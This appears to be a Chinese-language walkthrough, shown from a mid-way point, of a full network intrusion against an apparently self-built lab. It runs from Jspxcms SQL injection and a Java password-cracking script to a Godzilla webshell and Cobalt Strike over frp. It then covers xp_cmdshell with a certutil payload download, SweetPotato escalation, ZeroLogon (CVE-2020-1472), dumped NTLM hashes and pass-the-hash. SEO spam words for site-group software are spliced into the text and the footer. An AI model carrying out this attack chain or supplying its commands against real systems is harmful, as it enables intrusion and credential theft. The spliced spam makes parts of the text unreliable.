|
成功抓到admin用户和密码泛目录提权,然后用md5解密。
登录成功。登录后,没有找到getshell的地方。
6. Jspxcms-SQL注入
首页发现可以注册用户并登录。先搜索历史漏洞看看有没有getshell的地方。
找到预言家的大佬做了代码审计,找到了一个版本。参考链接:#toc-7。发现gethshell可以通过文件上传。
在之前的tomexam数据库中,找到了jspxcms,尝试找到管理员的用户和信息。
使用 sqlmap 查找表、用户和密码。
已成功发现用户名和加密密码。密码推断是明文密码+盐,然后md5加密。
7.编写解密脚本
通过其源码,分析其加密方式,然后编写解密脚本。
<p><pre> <code>package com.jspxcms.core;
import com.jspxcms.common.security.SHA1CredentialsDigest;
import com.jspxcms.common.util.Encodes;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.PrintWriter;
import java.util.Scanner;
public class Testmain {
public static void main(String[] args)throws Exception {
byte[] salt = Encodes.decodeHex("9b2b38ad7cb62fd9");
SHA1CredentialsDigest test = new SHA1CredentialsDigest();
String fileName = "D:\\csdnpass.txt";
String fileName2 = "D:\\hashpassword2.txt";
try (Scanner sc = new Scanner(new FileReader(fileName))) {
while (sc.hasNextLine()) {
String line = sc.nextLine();
String encPass = test.digest(line, salt);
File f = new File(fileName2);
FileWriter fw = new FileWriter(f, true);
PrintWriter pw = new PrintWriter(fw);
pw.println(line + " " + encPass);
pw.close();
}
}
}
}
</code></pre></p>
8.登录jspxcms后台getshell
使用管理员用户和解密后的密码成功进入管理员后台。
使用Godzilla生成木马,然后使用jar打包成war包。
9.编写目录遍历脚本
按照预言家社区大哥提出的方法,写一个目录遍历脚本。
上传成功。
10. 获取 webshell
使用 Godzilla 连接 webshell 并成功执行命令。
内网穿透:1.frp反向代理在线CS
先配置内网钴击内网上线
在kali中启动cs服务器,
查看其端口
配置frp的frps.ini信息。
2. CS上线
cs 生成监听器。
然后上传.exe文件即可上线。
上线成功。
3.内网信息采集
使用 shell iponfig 收集信息。
根据搭建的拓扑环境,测试与域内其他主机的连通性。
检查计算机名称。
使用net view查找域内其他主机,发现其他主机找不到。
4.开启代理进行端口扫描
检查server2012的IP地址。
5.域主机端口扫描
发现有1433——Mysql的端口泛目录提权,尝试暴力破解弱密码。
最好能成功爆出账号和密码。
6.mssqlclient登录Mssql服务器
使用 mysql 用户名和密码登录。
7.xp_cmshell 用于 getshell
帮助查看可以执行哪些命令。
打开 xp_cmdshell,然后收集信息。
使用certutil远程下载之前的木马,然后上线
xp_cmdshell certutil -urlcache -split -f
c:/windows/temp/artifact.exe
8. 使用 SweetPotato (ms16-075) 提升权限
上线后,进行简单的信息采集。
然后使用第三方插件使用 SweetPotato (ms16-075) 提升其权限。
成功升级。
内网域渗透 1. 内网域信息采集
使用网络视图查看域中的主机。
使用 hashdump 获取一些用户的哈希值。
检查主机IP地址。
查看域控制器的IP地址和域控制器的计算机名。
2. ZeroLogon CVE-2020-1472 获取域控制权限
将zerolgin脚本编译成exe,然后测试,发现宿主机有这个漏洞。
将其设置为空密码。31d6cfe0d16ae931b73c59d7e0c089c0
3.配置代理并登录域控制器
配置kali的代理地址,然后进行端口扫描,测试代理是否连接。
获取域控制器的哈希值。
管理员:500:aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74:::
客人:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b20eb34f01eaa5ac8b6f80986c765d6d:::
k\cnk:1108:aad3b435b51404eeaad3b435b51404ee:83717c6c405937406f8e0a02a7215b16:::
AD01$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
服务器2012$:1109:aad3b435b51404eeaad3b435b51404ee:cc759f89477f1595c993831ce5944e95:::
然后登录域控制器。
4. PTH 上线 CS
关闭防火墙,使用pth上网cs。
命令执行成功。
生成tcp监听,然后跳转到域控主机。
5.恢复密码和原始哈希。
恢复密码。
使用 secretsdump.py 获取其哈希值。
python3 secretsdump.py -sam sam.save -system system.save -security
security.save LOCA
使用:proxychains4 python3 reinstall_original_pw.py ad01 10.10.10.139
fb61e3c372e666adccb7a820aa39772f 恢复域控制器密码。其密码已成功恢复。
目标机器到此结束。
最后,整个域控制器被成功拿下。
总结:
项目从环境搭建,使用vps将web1主机映射到公网。通过信息收集,搜索源码,分析源码,进行sql注入。编写注入SQL注入脚本,通过分析登录终端源码编写加密脚本,编写目录遍历脚本成功获取webshell。内网穿透中,使用frp反向代理与cs上网,getshell使用xp_cmdshell。CVE-2020-1472 用于域外泄以获取域控制器权限。这台目标机上没有安装杀毒软件,但是从外网管理到内网穿透,再到域穿透的知识都很广。
申明:本文仅供技术交流,请自觉遵守网络安全相关法律法规,请勿利用文章中的相关技术从事非法活动,如由此产生的一切不良后果与与文章作者一起做本文第一作者:vghost
豪侠泛目录站群程序,专业泛目录,站群,二级目录,泛站群程序! |
|